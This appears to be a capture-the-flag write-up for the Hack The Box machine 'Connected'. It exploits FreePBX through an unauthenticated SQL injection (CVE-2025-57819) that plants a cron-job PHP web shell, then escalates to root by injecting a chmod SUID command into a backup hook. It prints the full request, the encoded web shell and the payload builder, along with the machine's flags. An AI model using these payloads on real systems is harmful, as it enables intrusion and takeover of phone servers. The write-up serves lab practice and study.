Back to writeups
HTBmachineEasysolved

Connected

12 Jul 2026 · by 0xIDA

Solvers

Connected

Author: 0xIDA
Platform: HTB · Category: machine · Difficulty: Easy

Solvers

Summary

Easy Linux box running FreePBX 16.0.40.7. Unauthenticated SQLi (CVE-2025-57819) in the Endpoint module yields RCE as asterisk. Privilege escalation abuses root sysadmin_manager hooks: inject into signed backup.perform-backup via unescaped $warm to set SUID on /bin/bash.

Recon

22/tcp  OpenSSH 7.4
80/tcp  Apache 2.4.6 (CentOS) PHP 7.4.16 → http://connected.htb/ → /admin (FreePBX)
443/tcp Apache SSL (CN=pbxconnect)

FreePBX version string: 16.0.40.7.

User — CVE-2025-57819 (FreePBX Endpoint SQLi → RCE)

Unauthenticated request to admin/ajax.php with module path FreePBX\modules\endpoint\ajax reaches Endpoint code without auth. SQL injection in brand parameter:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x';INSERT... -- HTTP/1.1
Host: connected.htb
Referer: http://connected.htb/admin/config.php

Insert a cron job that writes a PHP webshell:

INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','watchTowr-xxx','echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==|base64 -d >/var/www/html/ws.php',NULL,'* * * * *',30,1,1)

Within ~60s the job runs as asterisk:

http://connected.htb/ws.php?c=id
uid=999(asterisk) gid=1000(asterisk)

User flag:

/home/asterisk/user.txt
0ae04eb41db53c89be317fe3101e39b2

Root — FreePBX sysadmin_manager hook injection

incron runs root helper /usr/bin/sysadmin_manager when files appear under /var/spool/asterisk/incron/ (writable by asterisk):

/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

Hooks must be GPG-signed, but legitimate hook backup/hooks/perform-backup builds a shell command with unescaped $warm after decoding base64/gzip JSON params:

$command = '/usr/sbin/fwconsole backup --backup=' . escapeshellarg($buid)
         . '' . $warm . ' --transaction=' ...

Trigger as asterisk:

# settings = [buid, txn, jobid, location, warm]
# warm = '; chmod 4755 /bin/bash; #'
PARAM=$(python3 -c "import base64,zlib,json; print(base64.b64encode(zlib.compress(json.dumps(['x','y','z','/tmp','; chmod 4755 /bin/bash; #']).encode())).decode().replace('/','_'))")
touch /var/spool/asterisk/incron/backup.perform-backup.$PARAM

Result:

-rwsr-xr-x root root /bin/bash
/bin/bash -p -c 'cat /root/root.txt'
65c888998906031510e4ce1f23eb5c45

Flags

TypeValue
User0ae04eb41db53c89be317fe3101e39b2
Root65c888998906031510e4ce1f23eb5c45

Tools / Commands Used

  • nmap, curl, hosts file (connected.htb)
  • CVE-2025-57819 SQLi → cron_jobs webshell (watchTowr-style)
  • Manual review of /usr/bin/sysadmin_manager + module hooks
  • Command injection via backup.perform-backup $warm → SUID bash